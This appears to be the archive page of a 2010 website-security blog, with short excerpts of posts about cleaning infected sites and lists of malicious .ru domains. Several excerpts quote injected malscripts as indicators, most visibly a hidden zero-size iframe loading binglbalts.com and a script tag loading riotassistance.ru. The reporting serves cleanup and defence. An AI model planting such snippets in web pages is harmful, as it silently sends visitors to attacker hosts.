Category Archives: Uncategorized

riotassistance.ru infections

Posted on August 18, 2010 by admin

We’ve been seeing more website infections with a malscript that looks like: (opening script tag) src=”hxxp:// riotassistance.ru /Website.js”>(closing script tag) Note: We’ve also seen this same this but with nuttypiano replacing riotassistance. Sometimes the last part: Website.js is something else: … Continue reading →

  • Share/Bookmark
Posted in Uncategorized | Tagged , , , , , , , , , , , | 2 Comments

toobarcom, mybar, adsnet infections

Posted on August 14, 2010 by admin

Over the past week or so, we’ve been fighting a new website infection. At first, it appeared to be infecting just one hosting provider, but as we investigated further, we found it was affecting websites on many hosting providers. I’m … Continue reading →

  • Share/Bookmark
Posted in Uncategorized | Tagged , , , , , , , , , , , , , , , , , , , | Leave a comment

Vancouvererrorsonfile infection

Posted on August 6, 2010 by admin

Over the past few days we’ve cleaned 312 infected websites all with the script: (spaces added so it doesn’t set an alarm with your anti-virus program). As of right now the following sites don’t recognize vancouvererrorsonfile.com as being malicious: Google … Continue reading →

  • Share/Bookmark
Posted in Uncategorized | Tagged , , , , | Leave a comment

Nutcountry.ru and Parkperson.ru iframes

Posted on August 4, 2010 by admin

Over the past week we’ve been seeing a lot of infected websites that have an iframe that contains one of these two URLs: nutcountry.ru:8080/index.php parkperson.ru:8080/index.php A little searching found that approximately 25,000 web pages have the nutcountry.ru:8080/index.php iframe and another … Continue reading →

  • Share/Bookmark
Posted in Uncategorized | Tagged , , , , , | 1 Comment

osCommerce v2.2 Website Infections

Posted on July 6, 2010 by admin

During the past 10 days we started seeing a number of websites using osCommerce v2.2 being infected. The infection usually included some randomly named folder with a list of files in them. Some of the folder names we’ve seen include: … Continue reading →

  • Share/Bookmark
Posted in Uncategorized | Tagged , , , , , , | 4 Comments

Treasury .gov websites hacked

Posted on May 4, 2010 by admin

It was announced by AVG that the websites: bep.gov (Bureau of Engraving and Printing), bep.treas.gov and moneyfactory.gov were injected with a malscript: <SCR IPT (space added)>            function addCookie(name, value, hours)            {                  var date = new Date();                 … Continue reading →

  • Share/Bookmark
Posted in Uncategorized | Leave a comment

Attack of mailcheck.php and chat.pl

Posted on May 4, 2010 by admin

This attack isn’t anything new, it was used on a number of Italian sites in March 2010, but we’ve been seeing more of it infecting websites recently so I thought I’d elaborate. Quite often when scanning or cleaning infected websites, … Continue reading →

  • Share/Bookmark
Posted in Uncategorized | Tagged , , , , , , | Leave a comment

Blender type website infections

Posted on April 22, 2010 by admin

We’ve been seeing a lot of recent website infections that use highly obfuscated javascript code that decodes to a domain: yourblenderparts.ru:8080. Many other domains are used as well such as: superbblender.ru thesuperpager.ru superroadmap.ru supersupermall.ru theblendertv.ru theblendertutorial.ru excellentblender.ru thechocolateweb.ru whosaleonline.ru worldmusicmagazine.ru … Continue reading →

  • Share/Bookmark
Posted in Uncategorized | Tagged , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , | Leave a comment

The recent "Movie Review" infections

Posted on April 19, 2010 by admin

Over the past week, we’ve been seeing a lot of infected websites that are ranking for various movie review web pages – and these sites have nothing to do with movies! The typical infection is a five letter .php file … Continue reading →

  • Share/Bookmark
Posted in Uncategorized | Tagged , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , | 2 Comments

Attack of the binglbalts

Posted on April 8, 2010 by admin

We started seeing a lot of websites infected with a malscript that looks like: iframe frameborder=”0″ onload=’ if (!this.src) { this.src=”http://binglbalts.com/grep/”; this.height=0; this.width=0; } ‘>/iframe In Joomla sites we’ve found it in /templates/index.php toward the bottom. In WordPress blog sites, … Continue reading →

  • Share/Bookmark
Posted in Uncategorized | Tagged , | 2 Comments